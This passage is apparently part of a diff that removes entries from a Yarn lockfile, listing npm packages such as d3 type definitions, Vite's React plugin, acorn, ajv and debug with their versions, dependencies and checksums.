-"@types/d3-interpolate@npm:^3.0.4": - version: 3.0.4 - resolution: "@types/d3-interpolate@npm:3.0.4" - dependencies: - "@types/d3-color": "npm:*" - checksum: 10c0/066ebb8da570b518dd332df6b12ae3b1eaa0a7f4f0c702e3c57f812cf529cc3500ec2aac8dc094f31897790346c6b1ebd8cd7a077176727f4860c2b181a65ca4 - languageName: node - linkType: hard - -"@types/d3-path@npm:*, @types/d3-path@npm:^3.1.1": - version: 3.1.1 - resolution: "@types/d3-path@npm:3.1.1" - checksum: 10c0/2c36eb31ebaf2ce4712e793fd88087117976f7c4ed69cc2431825f999c8c77cca5cea286f3326432b770739ac6ccd5d04d851eb65e7a4dbcc10c982b49ad2c02 - languageName: node - linkType: hard - -"@types/d3-scale@npm:^4.0.9": - version: 4.0.9 - resolution: "@types/d3-scale@npm:4.0.9" - dependencies: - "@types/d3-time": "npm:*" - checksum: 10c0/4ac44233c05cd50b65b33ecb35d99fdf07566bcdbc55bc1306b2f27d1c5134d8c560d356f2c8e76b096e9125ffb8d26d95f78d56e210d1c542cb255bdf31d6c8 - languageName: node - linkType: hard - -"@types/d3-shape@npm:^3.1.7": - version: 3.1.8 - resolution: "@types/d3-shape@npm:3.1.8" - dependencies: - "@types/d3-path": "npm:*" - checksum: 10c0/49ec2172b9eb66fc1d036e2a23966216bb972e9af51ddbed134df24bd71aedf207bb1ef81903a119eb4e1f5e927cf44beacaf64c9af86474e5548594b102b574 - languageName: node - linkType: hard - -"@types/d3-time-format@npm:^4.0.3": - version: 4.0.3 - resolution: "@types/d3-time-format@npm:4.0.3" - checksum: 10c0/9ef5e8e2b96b94799b821eed5d61a3d432c7903247966d8ad951b8ce5797fe46554b425cb7888fa5bf604b4663c369d7628c0328ffe80892156671c58d1a7f90 - languageName: node - linkType: hard - -"@types/d3-time@npm:*, @types/d3-time@npm:^3.0.4": - version: 3.0.4 - resolution: "@types/d3-time@npm:3.0.4" - checksum: 10c0/6d9e2255d63f7a313a543113920c612e957d70da4fb0890931da6c2459010291b8b1f95e149a538500c1c99e7e6c89ffcce5554dd29a31ff134a38ea94b6d174 - languageName: node - linkType: hard - -"@types/d3-timer@npm:^3.0.2": - version: 3.0.2 - resolution: "@types/d3-timer@npm:3.0.2" - checksum: 10c0/c644dd9571fcc62b1aa12c03bcad40571553020feeb5811f1d8a937ac1e65b8a04b759b4873aef610e28b8714ac71c9885a4d6c127a048d95118f7e5b506d9e1 - languageName: node - linkType: hard - -"@types/esrecurse@npm:^4.3.1": - version: 4.3.1 - resolution: "@types/esrecurse@npm:4.3.1" - checksum: 10c0/90dad74d5da3ad27606d8e8e757322f33171cfeaa15ad558b615cf71bb2a516492d18f55f4816384685a3eb2412142e732bbae9a4a7cd2cf3deb7572aa4ebe03 - languageName: node - linkType: hard - -"@types/estree@npm:1.0.8, @types/estree@npm:^1.0.6, @types/estree@npm:^1.0.8": - version: 1.0.8 - resolution: "@types/estree@npm:1.0.8" - checksum: 10c0/39d34d1afaa338ab9763f37ad6066e3f349444f9052b9676a7cc0252ef9485a41c6d81c9c4e0d26e9077993354edf25efc853f3224dd4b447175ef62bdcc86a5 - languageName: node - linkType: hard - -"@types/hoist-non-react-statics@npm:^3.3.1": - version: 3.3.7 - resolution: "@types/hoist-non-react-statics@npm:3.3.7" - dependencies: - hoist-non-react-statics: "npm:^3.3.0" - peerDependencies: - "@types/react": "*" - checksum: 10c0/ed8f4e88338f7d021d0f956adf6089d2a12b2e254a03c05292324f2e986d2376eb9efdb8a4f04596823e8fca88c9d06361d20dab4a2a00dc935fb36ac911de55 - languageName: node - linkType: hard - -"@types/json-schema@npm:^7.0.15": - version: 7.0.15 - resolution: "@types/json-schema@npm:7.0.15" - checksum: 10c0/a996a745e6c5d60292f36731dd41341339d4eeed8180bb09226e5c8d23759067692b1d88e5d91d72ee83dfc00d3aca8e7bd43ea120516c17922cbcb7c3e252db - languageName: node - linkType: hard - -"@types/json5@npm:^0.0.29": - version: 0.0.29 - resolution: "@types/json5@npm:0.0.29" - checksum: 10c0/6bf5337bc447b706bb5b4431d37686aa2ea6d07cfd6f79cc31de80170d6ff9b1c7384a9c0ccbc45b3f512bae9e9f75c2e12109806a15331dc94e8a8db6dbb4ac - languageName: node - linkType: hard - -"@types/parse-json@npm:^4.0.0": - version: 4.0.2 - resolution: "@types/parse-json@npm:4.0.2" - checksum: 10c0/b1b863ac34a2c2172fbe0807a1ec4d5cb684e48d422d15ec95980b81475fac4fdb3768a8b13eef39130203a7c04340fc167bae057c7ebcafd7dec9fe6c36aeb1 - languageName: node - linkType: hard - -"@types/prop-types@npm:^15.7.14, @types/prop-types@npm:^15.7.15": - version: 15.7.15 - resolution: "@types/prop-types@npm:15.7.15" - checksum: 10c0/b59aad1ad19bf1733cf524fd4e618196c6c7690f48ee70a327eb450a42aab8e8a063fbe59ca0a5701aebe2d92d582292c0fb845ea57474f6a15f6994b0e260b2 - languageName: node - linkType: hard - -"@types/react-transition-group@npm:^4.4.12": - version: 4.4.12 - resolution: "@types/react-transition-group@npm:4.4.12" - peerDependencies: - "@types/react": "*" - checksum: 10c0/0441b8b47c69312c89ec0760ba477ba1a0808a10ceef8dc1c64b1013ed78517332c30f18681b0ec0b53542731f1ed015169fed1d127cc91222638ed955478ec7 - languageName: node - linkType: hard - -"@vitejs/plugin-react@npm:5.1.4": - version: 5.1.4 - resolution: "@vitejs/plugin-react@npm:5.1.4" - dependencies: - "@babel/core": "npm:^7.29.0" - "@babel/plugin-transform-react-jsx-self": "npm:^7.27.1" - "@babel/plugin-transform-react-jsx-source": "npm:^7.27.1" - "@rolldown/pluginutils": "npm:1.0.0-rc.3" - "@types/babel__core": "npm:^7.20.5" - react-refresh: "npm:^0.18.0" - peerDependencies: - vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 - checksum: 10c0/dd7b8f40717ecd4a5ab18f467134ea8135f9a443359333d71e4114aeacfc8b679be9fd36dc12290d076c78883a02e708bfe1f0d93411c06c9659da0879b952e3 - languageName: node - linkType: hard - -"abbrev@npm:^4.0.0": - version: 4.0.0 - resolution: "abbrev@npm:4.0.0" - checksum: 10c0/b4cc16935235e80702fc90192e349e32f8ef0ed151ef506aa78c81a7c455ec18375c4125414b99f84b2e055199d66383e787675f0bcd87da7a4dbd59f9eac1d5 - languageName: node - linkType: hard - -"acorn-jsx@npm:^5.3.2": - version: 5.3.2 - resolution: "acorn-jsx@npm:5.3.2" - peerDependencies: - acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 - checksum: 10c0/4c54868fbef3b8d58927d5e33f0a4de35f59012fe7b12cf9dfbb345fb8f46607709e1c4431be869a23fb63c151033d84c4198fa9f79385cec34fcb1dd53974c1 - languageName: node - linkType: hard - -"acorn@npm:^8.15.0, acorn@npm:^8.16.0": - version: 8.16.0 - resolution: "acorn@npm:8.16.0" - bin: - acorn: bin/acorn - checksum: 10c0/c9c52697227661b68d0debaf972222d4f622aa06b185824164e153438afa7b08273432ca43ea792cadb24dada1d46f6f6bb1ef8de9956979288cc1b96bf9914e - languageName: node - linkType: hard - -"agent-base@npm:^7.1.0, agent-base@npm:^7.1.2": - version: 7.1.4 - resolution: "agent-base@npm:7.1.4" - checksum: 10c0/c2c9ab7599692d594b6a161559ada307b7a624fa4c7b03e3afdb5a5e31cd0e53269115b620fcab024c5ac6a6f37fa5eb2e004f076ad30f5f7e6b8b671f7b35fe - languageName: node - linkType: hard - -"ajv@npm:^6.12.4": - version: 6.14.0 - resolution: "ajv@npm:6.14.0" - dependencies: - fast-deep-equal: "npm:^3.1.1" - fast-json-stable-stringify: "npm:^2.0.0" - json-schema-traverse: "npm:^0.4.1" - uri-js: "npm:^4.2.2" - checksum: 10c0/a2bc39b0555dc9802c899f86990eb8eed6e366cddbf65be43d5aa7e4f3c4e1a199d5460fd7ca4fb3d864000dbbc049253b72faa83b3b30e641ca52cb29a68c22 - languageName: node - linkType: hard - -"any-promise@npm:^1.0.0": - version: 1.3.0 - resolution: "any-promise@npm:1.3.0" - checksum: 10c0/60f0298ed34c74fef50daab88e8dab786036ed5a7fad02e012ab57e376e0a0b4b29e83b95ea9b5e7d89df762f5f25119b83e00706ecaccb22cfbacee98d74889 - languageName: node - linkType: hard - -"argparse@npm:^2.0.1": - version: 2.0.1 - resolution: "argparse@npm:2.0.1" - checksum: 10c0/c5640c2d89045371c7cedd6a70212a04e360fd34d6edeae32f6952c63949e3525ea77dbec0289d8213a99bbaeab5abfa860b5c12cf88a2e6cf8106e90dd27a7e - languageName: node - linkType: hard - -"aria-query@npm:^5.3.2": - version: 5.3.2 - resolution: "aria-query@npm:5.3.2" - checksum: 10c0/003c7e3e2cff5540bf7a7893775fc614de82b0c5dde8ae823d47b7a28a9d4da1f7ed85f340bdb93d5649caa927755f0e31ecc7ab63edfdfc00c8ef07e505e03e - languageName: node - linkType: hard - -"array-buffer-byte-length@npm:^1.0.1, array-buffer-byte-length@npm:^1.0.2": - version: 1.0.2 - resolution: "array-buffer-byte-length@npm:1.0.2" - dependencies: - call-bound: "npm:^1.0.3" - is-array-buffer: "npm:^3.0.5" - checksum: 10c0/74e1d2d996941c7a1badda9cabb7caab8c449db9086407cad8a1b71d2604cc8abf105db8ca4e02c04579ec58b7be40279ddb09aea4784832984485499f48432d - languageName: node - linkType: hard - -"array-includes@npm:^3.1.6, array-includes@npm:^3.1.8": - version: 3.1.9 - resolution: "array-includes@npm:3.1.9" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.4" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.24.0" - es-object-atoms: "npm:^1.1.1" - get-intrinsic: "npm:^1.3.0" - is-string: "npm:^1.1.1" - math-intrinsics: "npm:^1.1.0" - checksum: 10c0/0235fa69078abeac05ac4250699c44996bc6f774a9cbe45db48674ce6bd142f09b327d31482ff75cf03344db4ea03eae23edb862d59378b484b47ed842574856 - languageName: node - linkType: hard - -"array.prototype.findlast@npm:^1.2.5": - version: 1.2.5 - resolution: "array.prototype.findlast@npm:1.2.5" - dependencies: - call-bind: "npm:^1.0.7" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.2" - es-errors: "npm:^1.3.0" - es-object-atoms: "npm:^1.0.0" - es-shim-unscopables: "npm:^1.0.2" - checksum: 10c0/ddc952b829145ab45411b9d6adcb51a8c17c76bf89c9dd64b52d5dffa65d033da8c076ed2e17091779e83bc892b9848188d7b4b33453c5565e65a92863cb2775 - languageName: node - linkType: hard - -"array.prototype.flat@npm:^1.3.1": - version: 1.3.3 - resolution: "array.prototype.flat@npm:1.3.3" - dependencies: - call-bind: "npm:^1.0.8" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.5" - es-shim-unscopables: "npm:^1.0.2" - checksum: 10c0/d90e04dfbc43bb96b3d2248576753d1fb2298d2d972e29ca7ad5ec621f0d9e16ff8074dae647eac4f31f4fb7d3f561a7ac005fb01a71f51705a13b5af06a7d8a - languageName: node - linkType: hard - -"array.prototype.flatmap@npm:^1.3.2, array.prototype.flatmap@npm:^1.3.3": - version: 1.3.3 - resolution: "array.prototype.flatmap@npm:1.3.3" - dependencies: - call-bind: "npm:^1.0.8" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.5" - es-shim-unscopables: "npm:^1.0.2" - checksum: 10c0/ba899ea22b9dc9bf276e773e98ac84638ed5e0236de06f13d63a90b18ca9e0ec7c97d622d899796e3773930b946cd2413d098656c0c5d8cc58c6f25c21e6bd54 - languageName: node - linkType: hard - -"array.prototype.tosorted@npm:^1.1.4": - version: 1.1.4 - resolution: "array.prototype.tosorted@npm:1.1.4" - dependencies: - call-bind: "npm:^1.0.7" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.3" - es-errors: "npm:^1.3.0" - es-shim-unscopables: "npm:^1.0.2" - checksum: 10c0/eb3c4c4fc0381b0bf6dba2ea4d48d367c2827a0d4236a5718d97caaccc6b78f11f4cadf090736e86301d295a6aa4967ed45568f92ced51be8cbbacd9ca410943 - languageName: node - linkType: hard - -"arraybuffer.prototype.slice@npm:^1.0.4": - version: 1.0.4 - resolution: "arraybuffer.prototype.slice@npm:1.0.4" - dependencies: - array-buffer-byte-length: "npm:^1.0.1" - call-bind: "npm:^1.0.8" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.5" - es-errors: "npm:^1.3.0" - get-intrinsic: "npm:^1.2.6" - is-array-buffer: "npm:^3.0.4" - checksum: 10c0/2f2459caa06ae0f7f615003f9104b01f6435cc803e11bd2a655107d52a1781dc040532dc44d93026b694cc18793993246237423e13a5337e86b43ed604932c06 - languageName: node - linkType: hard - -"ast-types-flow@npm:^0.0.8": - version: 0.0.8 - resolution: "ast-types-flow@npm:0.0.8" - checksum: 10c0/f2a0ba8055353b743c41431974521e5e852a9824870cd6fce2db0e538ac7bf4da406bbd018d109af29ff3f8f0993f6a730c9eddbd0abd031fbcb29ca75c1014e - languageName: node - linkType: hard - -"async-function@npm:^1.0.0": - version: 1.0.0 - resolution: "async-function@npm:1.0.0" - checksum: 10c0/669a32c2cb7e45091330c680e92eaeb791bc1d4132d827591e499cd1f776ff5a873e77e5f92d0ce795a8d60f10761dec9ddfe7225a5de680f5d357f67b1aac73 - languageName: node - linkType: hard - -"async-generator-function@npm:^1.0.0": - version: 1.0.0 - resolution: "async-generator-function@npm:1.0.0" - checksum: 10c0/2c50ef856c543ad500d8d8777d347e3c1ba623b93e99c9263ecc5f965c1b12d2a140e2ab6e43c3d0b85366110696f28114649411cbcd10b452a92a2318394186 - languageName: node - linkType: hard - -"available-typed-arrays@npm:^1.0.7": - version: 1.0.7 - resolution: "available-typed-arrays@npm:1.0.7" - dependencies: - possible-typed-array-names: "npm:^1.0.0" - checksum: 10c0/d07226ef4f87daa01bd0fe80f8f310982e345f372926da2e5296aecc25c41cab440916bbaa4c5e1034b453af3392f67df5961124e4b586df1e99793a1374bdb2 - languageName: node - linkType: hard - -"axe-core@npm:^4.10.0": - version: 4.11.1 - resolution: "axe-core@npm:4.11.1" - checksum: 10c0/1e6997454b61c7c9a4d740f395952835dcf87f2c04fd81577217d68634d197d602c224f9e8f17b22815db4c117a2519980cfc8911fc0027c54a6d8ebca47c6a7 - languageName: node - linkType: hard - -"axobject-query@npm:^4.1.0": - version: 4.1.0 - resolution: "axobject-query@npm:4.1.0" - checksum: 10c0/c470e4f95008f232eadd755b018cb55f16c03ccf39c027b941cd8820ac6b68707ce5d7368a46756db4256fbc91bb4ead368f84f7fb034b2b7932f082f6dc0775 - languageName: node - linkType: hard - -"babel-plugin-macros@npm:^3.1.0": - version: 3.1.0 - resolution: "babel-plugin-macros@npm:3.1.0" - dependencies: - "@babel/runtime": "npm:^7.12.5" - cosmiconfig: "npm:^7.0.0" - resolve: "npm:^1.19.0" - checksum: 10c0/c6dfb15de96f67871d95bd2e8c58b0c81edc08b9b087dc16755e7157f357dc1090a8dc60ebab955e92587a9101f02eba07e730adc253a1e4cf593ca3ebd3839c - languageName: node - linkType: hard - -"balanced-match@npm:^1.0.0": - version: 1.0.2 - resolution: "balanced-match@npm:1.0.2" - checksum: 10c0/9308baf0a7e4838a82bbfd11e01b1cb0f0cf2893bc1676c27c2a8c0e70cbae1c59120c3268517a8ae7fb6376b4639ef81ca22582611dbee4ed28df945134aaee - languageName: node - linkType: hard - -"balanced-match@npm:^4.0.2": - version: 4.0.4 - resolution: "balanced-match@npm:4.0.4" - checksum: 10c0/07e86102a3eb2ee2a6a1a89164f29d0dbaebd28f2ca3f5ca786f36b8b23d9e417eb3be45a4acf754f837be5ac0a2317de90d3fcb7f4f4dc95720a1f36b26a17b - languageName: node - linkType: hard - -"baseline-browser-mapping@npm:^2.9.0": - version: 2.10.0 - resolution: "baseline-browser-mapping@npm:2.10.0" - bin: - baseline-browser-mapping: dist/cli.cjs - checksum: 10c0/da9c3ec0fcd7f325226a47d2142794d41706b6e0a405718a2c15410bbdb72aacadd65738bedef558c6f1b106ed19458cb25b06f63b66df2c284799905dbbd003 - languageName: node - linkType: hard - -"bezier-easing@npm:^2.1.0": - version: 2.1.0 - resolution: "bezier-easing@npm:2.1.0" - checksum: 10c0/138a160698de3c12501479cc80280d5cc0ab47df73e20d7b5058cba6d62c0876eb97e63aa1e398233269aa2a6bb396fb0ee394da391de7258c9da20729df5158 - languageName: node - linkType: hard - -"brace-expansion@npm:^1.1.7": - version: 1.1.12 - resolution: "brace-expansion@npm:1.1.12" - dependencies: - balanced-match: "npm:^1.0.0" - concat-map: "npm:0.0.1" - checksum: 10c0/975fecac2bb7758c062c20d0b3b6288c7cc895219ee25f0a64a9de662dbac981ff0b6e89909c3897c1f84fa353113a721923afdec5f8b2350255b097f12b1f73 - languageName: node - linkType: hard - -"brace-expansion@npm:^5.0.2": - version: 5.0.3 - resolution: "brace-expansion@npm:5.0.3" - dependencies: - balanced-match: "npm:^4.0.2" - checksum: 10c0/e474d300e581ec56851b3863ff1cf18573170c6d06deb199ccbd03b2119c36975f6ce2abc7b770f5bebddc1ab022661a9fea9b4d56f33315d7bef54d8793869e - languageName: node - linkType: hard - -"browserslist@npm:^4.24.0": - version: 4.28.1 - resolution: "browserslist@npm:4.28.1" - dependencies: - baseline-browser-mapping: "npm:^2.9.0" - caniuse-lite: "npm:^1.0.30001759" - electron-to-chromium: "npm:^1.5.263" - node-releases: "npm:^2.0.27" - update-browserslist-db: "npm:^1.2.0" - bin: - browserslist: cli.js - checksum: 10c0/545a5fa9d7234e3777a7177ec1e9134bb2ba60a69e6b95683f6982b1473aad347c77c1264ccf2ac5dea609a9731fbfbda6b85782bdca70f80f86e28a402504bd - languageName: node - linkType: hard - -"cacache@npm:^20.0.1": - version: 20.0.3 - resolution: "cacache@npm:20.0.3" - dependencies: - "@npmcli/fs": "npm:^5.0.0" - fs-minipass: "npm:^3.0.0" - glob: "npm:^13.0.0" - lru-cache: "npm:^11.1.0" - minipass: "npm:^7.0.3" - minipass-collect: "npm:^2.0.1" - minipass-flush: "npm:^1.0.5" - minipass-pipeline: "npm:^1.2.4" - p-map: "npm:^7.0.2" - ssri: "npm:^13.0.0" - unique-filename: "npm:^5.0.0" - checksum: 10c0/c7da1ca694d20e8f8aedabd21dc11518f809a7d2b59aa76a1fc655db5a9e62379e465c157ddd2afe34b19230808882288effa6911b2de26a088a6d5645123462 - languageName: node - linkType: hard - -"call-bind-apply-helpers@npm:^1.0.0, call-bind-apply-helpers@npm:^1.0.1, call-bind-apply-helpers@npm:^1.0.2": - version: 1.0.2 - resolution: "call-bind-apply-helpers@npm:1.0.2" - dependencies: - es-errors: "npm:^1.3.0" - function-bind: "npm:^1.1.2" - checksum: 10c0/47bd9901d57b857590431243fea704ff18078b16890a6b3e021e12d279bbf211d039155e27d7566b374d49ee1f8189344bac9833dec7a20cdec370506361c938 - languageName: node - linkType: hard - -"call-bind@npm:^1.0.7, call-bind@npm:^1.0.8": - version: 1.0.8 - resolution: "call-bind@npm:1.0.8" - dependencies: - call-bind-apply-helpers: "npm:^1.0.0" - es-define-property: "npm:^1.0.0" - get-intrinsic: "npm:^1.2.4" - set-function-length: "npm:^1.2.2" - checksum: 10c0/a13819be0681d915144467741b69875ae5f4eba8961eb0bf322aab63ec87f8250eb6d6b0dcbb2e1349876412a56129ca338592b3829ef4343527f5f18a0752d4 - languageName: node - linkType: hard - -"call-bound@npm:^1.0.2, call-bound@npm:^1.0.3, call-bound@npm:^1.0.4": - version: 1.0.4 - resolution: "call-bound@npm:1.0.4" - dependencies: - call-bind-apply-helpers: "npm:^1.0.2" - get-intrinsic: "npm:^1.3.0" - checksum: 10c0/f4796a6a0941e71c766aea672f63b72bc61234c4f4964dc6d7606e3664c307e7d77845328a8f3359ce39ddb377fed67318f9ee203dea1d47e46165dcf2917644 - languageName: node - linkType: hard - -"callsites@npm:^3.0.0": - version: 3.1.0 - resolution: "callsites@npm:3.1.0" - checksum: 10c0/fff92277400eb06c3079f9e74f3af120db9f8ea03bad0e84d9aede54bbe2d44a56cccb5f6cf12211f93f52306df87077ecec5b712794c5a9b5dac6d615a3f301 - languageName: node - linkType: hard - -"caniuse-lite@npm:^1.0.30001759": - version: 1.0.30001774 - resolution: "caniuse-lite@npm:1.0.30001774" - checksum: 10c0/cc6a340a5421b9a67d8fa80889065ee27b2839ad62993571dded5296e18f02bbf685ce7094e93fe908cddc9fefdfad35d6c010b724cc3d22a6479b0d0b679f8c - languageName: node - linkType: hard - -"chownr@npm:^3.0.0": - version: 3.0.0 - resolution: "chownr@npm:3.0.0" - checksum: 10c0/43925b87700f7e3893296c8e9c56cc58f926411cce3a6e5898136daaf08f08b9a8eb76d37d3267e707d0dcc17aed2e2ebdf5848c0c3ce95cf910a919935c1b10 - languageName: node - linkType: hard - -"clsx@npm:^2.1.1": - version: 2.1.1 - resolution: "clsx@npm:2.1.1" - checksum: 10c0/c4c8eb865f8c82baab07e71bfa8897c73454881c4f99d6bc81585aecd7c441746c1399d08363dc096c550cceaf97bd4ce1e8854e1771e9998d9f94c4fe075839 - languageName: node - linkType: hard - -"commander@npm:^4.0.0": - version: 4.1.1 - resolution: "commander@npm:4.1.1" - checksum: 10c0/84a76c08fe6cc08c9c93f62ac573d2907d8e79138999312c92d4155bc2325d487d64d13f669b2000c9f8caf70493c1be2dac74fec3c51d5a04f8bc3ae1830bab - languageName: node - linkType: hard - -"concat-map@npm:0.0.1": - version: 0.0.1 - resolution: "concat-map@npm:0.0.1" - checksum: 10c0/c996b1cfdf95b6c90fee4dae37e332c8b6eb7d106430c17d538034c0ad9a1630cb194d2ab37293b1bdd4d779494beee7786d586a50bd9376fd6f7bcc2bd4c98f - languageName: node - linkType: hard - -"convert-source-map@npm:^1.5.0": - version: 1.9.0 - resolution: "convert-source-map@npm:1.9.0" - checksum: 10c0/281da55454bf8126cbc6625385928c43479f2060984180c42f3a86c8b8c12720a24eac260624a7d1e090004028d2dee78602330578ceec1a08e27cb8bb0a8a5b - languageName: node - linkType: hard - -"convert-source-map@npm:^2.0.0": - version: 2.0.0 - resolution: "convert-source-map@npm:2.0.0" - checksum: 10c0/8f2f7a27a1a011cc6cc88cc4da2d7d0cfa5ee0369508baae3d98c260bb3ac520691464e5bbe4ae7cdf09860c1d69ecc6f70c63c6e7c7f7e3f18ec08484dc7d9b - languageName: node - linkType: hard - -"cookie@npm:^1.0.1": - version: 1.1.1 - resolution: "cookie@npm:1.1.1" - checksum: 10c0/79c4ddc0fcad9c4f045f826f42edf54bcc921a29586a4558b0898277fa89fb47be95bc384c2253f493af7b29500c830da28341274527328f18eba9f58afa112c - languageName: node - linkType: hard - -"cosmiconfig@npm:^7.0.0": - version: 7.1.0 - resolution: "cosmiconfig@npm:7.1.0" - dependencies: - "@types/parse-json": "npm:^4.0.0" - import-fresh: "npm:^3.2.1" - parse-json: "npm:^5.0.0" - path-type: "npm:^4.0.0" - yaml: "npm:^1.10.0" - checksum: 10c0/b923ff6af581638128e5f074a5450ba12c0300b71302398ea38dbeabd33bbcaa0245ca9adbedfcf284a07da50f99ede5658c80bb3e39e2ce770a99d28a21ef03 - languageName: node - linkType: hard - -"cross-spawn@npm:^7.0.6": - version: 7.0.6 - resolution: "cross-spawn@npm:7.0.6" - dependencies: - path-key: "npm:^3.1.0" - shebang-command: "npm:^2.0.0" - which: "npm:^2.0.1" - checksum: 10c0/053ea8b2135caff68a9e81470e845613e374e7309a47731e81639de3eaeb90c3d01af0e0b44d2ab9d50b43467223b88567dfeb3262db942dc063b9976718ffc1 - languageName: node - linkType: hard - -"csstype@npm:^3.0.2, csstype@npm:^3.2.3": - version: 3.2.3 - resolution: "csstype@npm:3.2.3" - checksum: 10c0/cd29c51e70fa822f1cecd8641a1445bed7063697469d35633b516e60fe8c1bde04b08f6c5b6022136bb669b64c63d4173af54864510fbb4ee23281801841a3ce - languageName: node - linkType: hard - -"d3-array@npm:2 - 3, d3-array@npm:2.10.0 - 3, d3-array@npm:^3.2.4": - version: 3.2.4 - resolution: "d3-array@npm:3.2.4" - dependencies: - internmap: "npm:1 - 2" - checksum: 10c0/08b95e91130f98c1375db0e0af718f4371ccacef7d5d257727fe74f79a24383e79aba280b9ffae655483ffbbad4fd1dec4ade0119d88c4749f388641c8bf8c50 - languageName: node - linkType: hard - -"d3-color@npm:1 - 3, d3-color@npm:^3.1.0": - version: 3.1.0 - resolution: "d3-color@npm:3.1.0" - checksum: 10c0/a4e20e1115fa696fce041fbe13fbc80dc4c19150fa72027a7c128ade980bc0eeeba4bcf28c9e21f0bce0e0dbfe7ca5869ef67746541dcfda053e4802ad19783c - languageName: node - linkType: hard - -"d3-format@npm:1 - 3, d3-format@npm:^3.1.0": - version: 3.1.2 - resolution: "d3-format@npm:3.1.2" - checksum: 10c0/0de452ae07585238e7f01607a7e0066665c34609652188b6ac7dc9f424f69465a425e07d16d79bd0e5955202ac7f241c66d0c76f68a79fc6f4857c94cf420652 - languageName: node - linkType: hard - -"d3-interpolate@npm:1.2.0 - 3, d3-interpolate@npm:^3.0.1": - version: 3.0.1 - resolution: "d3-interpolate@npm:3.0.1" - dependencies: - d3-color: "npm:1 - 3" - checksum: 10c0/19f4b4daa8d733906671afff7767c19488f51a43d251f8b7f484d5d3cfc36c663f0a66c38fe91eee30f40327443d799be17169f55a293a3ba949e84e57a33e6a - languageName: node - linkType: hard - -"d3-path@npm:^3.1.0": - version: 3.1.0 - resolution: "d3-path@npm:3.1.0" - checksum: 10c0/dc1d58ec87fa8319bd240cf7689995111a124b141428354e9637aa83059eb12e681f77187e0ada5dedfce346f7e3d1f903467ceb41b379bfd01cd8e31721f5da - languageName: node - linkType: hard - -"d3-scale@npm:^4.0.2": - version: 4.0.2 - resolution: "d3-scale@npm:4.0.2" - dependencies: - d3-array: "npm:2.10.0 - 3" - d3-format: "npm:1 - 3" - d3-interpolate: "npm:1.2.0 - 3" - d3-time: "npm:2.1.1 - 3" - d3-time-format: "npm:2 - 4" - checksum: 10c0/65d9ad8c2641aec30ed5673a7410feb187a224d6ca8d1a520d68a7d6eac9d04caedbff4713d1e8545be33eb7fec5739983a7ab1d22d4e5ad35368c6729d362f1 - languageName: node - linkType: hard - -"d3-shape@npm:^3.2.0": - version: 3.2.0 - resolution: "d3-shape@npm:3.2.0" - dependencies: - d3-path: "npm:^3.1.0" - checksum: 10c0/f1c9d1f09926daaf6f6193ae3b4c4b5521e81da7d8902d24b38694517c7f527ce3c9a77a9d3a5722ad1e3ff355860b014557b450023d66a944eabf8cfde37132 - languageName: node - linkType: hard - -"d3-time-format@npm:2 - 4, d3-time-format@npm:^4.1.0": - version: 4.1.0 - resolution: "d3-time-format@npm:4.1.0" - dependencies: - d3-time: "npm:1 - 3" - checksum: 10c0/735e00fb25a7fd5d418fac350018713ae394eefddb0d745fab12bbff0517f9cdb5f807c7bbe87bb6eeb06249662f8ea84fec075f7d0cd68609735b2ceb29d206 - languageName: node - linkType: hard - -"d3-time@npm:1 - 3, d3-time@npm:2.1.1 - 3, d3-time@npm:^3.1.0": - version: 3.1.0 - resolution: "d3-time@npm:3.1.0" - dependencies: - d3-array: "npm:2 - 3" - checksum: 10c0/a984f77e1aaeaa182679b46fbf57eceb6ebdb5f67d7578d6f68ef933f8eeb63737c0949991618a8d29472dbf43736c7d7f17c452b2770f8c1271191cba724ca1 - languageName: node - linkType: hard - -"d3-timer@npm:^3.0.1": - version: 3.0.1 - resolution: "d3-timer@npm:3.0.1" - checksum: 10c0/d4c63cb4bb5461d7038aac561b097cd1c5673969b27cbdd0e87fa48d9300a538b9e6f39b4a7f0e3592ef4f963d858c8a9f0e92754db73116770856f2fc04561a - languageName: node - linkType: hard - -"damerau-levenshtein@npm:^1.0.8": - version: 1.0.8 - resolution: "damerau-levenshtein@npm:1.0.8" - checksum: 10c0/4c2647e0f42acaee7d068756c1d396e296c3556f9c8314bac1ac63ffb236217ef0e7e58602b18bb2173deec7ec8e0cac8e27cccf8f5526666b4ff11a13ad54a3 - languageName: node - linkType: hard - -"data-view-buffer@npm:^1.0.2": - version: 1.0.2 - resolution: "data-view-buffer@npm:1.0.2" - dependencies: - call-bound: "npm:^1.0.3" - es-errors: "npm:^1.3.0" - is-data-view: "npm:^1.0.2" - checksum: 10c0/7986d40fc7979e9e6241f85db8d17060dd9a71bd53c894fa29d126061715e322a4cd47a00b0b8c710394854183d4120462b980b8554012acc1c0fa49df7ad38c - languageName: node - linkType: hard - -"data-view-byte-length@npm:^1.0.2": - version: 1.0.2 - resolution: "data-view-byte-length@npm:1.0.2" - dependencies: - call-bound: "npm:^1.0.3" - es-errors: "npm:^1.3.0" - is-data-view: "npm:^1.0.2" - checksum: 10c0/f8a4534b5c69384d95ac18137d381f18a5cfae1f0fc1df0ef6feef51ef0d568606d970b69e02ea186c6c0f0eac77fe4e6ad96fec2569cc86c3afcc7475068c55 - languageName: node - linkType: hard - -"data-view-byte-offset@npm:^1.0.1": - version: 1.0.1 - resolution: "data-view-byte-offset@npm:1.0.1" - dependencies: - call-bound: "npm:^1.0.2" - es-errors: "npm:^1.3.0" - is-data-view: "npm:^1.0.1" - checksum: 10c0/fa7aa40078025b7810dcffc16df02c480573b7b53ef1205aa6a61533011005c1890e5ba17018c692ce7c900212b547262d33279fde801ad9843edc0863bf78c4 - languageName: node - linkType: hard - -"debug@npm:4, debug@npm:^4.1.0, debug@npm:^4.1.1, debug@npm:^4.3.1, debug@npm:^4.3.2, debug@npm:^4.3.4": - version: 4.4.3 - resolution: "debug@npm:4.4.3" - dependencies: - ms: "npm:^2.1.3" - peerDependenciesMeta: - supports-color: - optional: true - checksum: 